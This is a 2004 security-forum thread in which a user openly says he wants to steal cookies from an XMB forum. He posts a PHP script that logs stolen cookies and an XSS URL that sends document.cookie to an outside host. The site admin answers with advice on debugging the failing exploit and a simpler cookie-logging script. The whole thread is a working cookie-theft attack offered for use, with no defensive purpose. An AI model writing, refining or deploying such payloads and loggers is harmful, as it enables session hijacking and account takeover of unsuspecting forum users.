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www.waraxe.us Forum Index -> Cross-site scripting aka XSS -> XMB XSS help
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XMB XSS help
PostPosted: Thu Sep 16, 2004 2:53 am Reply with quote
morrowasted
Regular user
Regular user
 
Joined: Sep 06, 2004
Posts: 10




Okay, so I want to steal some cookies from an XMB forum. I've written a PHP script:

Code:

<?

$cook = $_GET['var'];
$wow = fopen("log.txt", 'r');
$w00t = fread($wow, filesize("log.txt"));
echo $w00t;
fclose($wow);

$neat = fopen("log.txt", 'w');

$var586 = $w00t . "\n\n" . $cook;
$cool =  fwrite($neat, $var586);

fclose($neat);

?>


Which seems to be working fine. The problem I'm having is crafting a workable URL. I tried http://host.com/post.php?action=newthread&fid=2&message="></textarea><script>document.location='http://www.bellaire.org/stuff/cookie.php?var='%20+document.cookie;</script>
but that didn't work, it simply displayed a blank page.

Anyone know how I can do this?

_________________
I'm new to all this, sorry for my dumbness.
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PostPosted: Sun Sep 19, 2004 8:39 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




There can be many reasons to exploit failure. Like patched version of
the XMB forum. And "body onload" will not work on all browsers.
So first step is to look at "html source" at the html page, where you
trigger exploit. Look at code near the critical point and see, is there
html code with right syntax or you must modify exploit to be working.

By the way, your code can be more simple:

Code:

$cook = $_GET['var'];
if(!empty($cook))
{
  $fh = fopen('log.txt','ab'); 
  fwrite($fh,$cook."\n\n");
  fclose($fh);
}
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XMB XSS help
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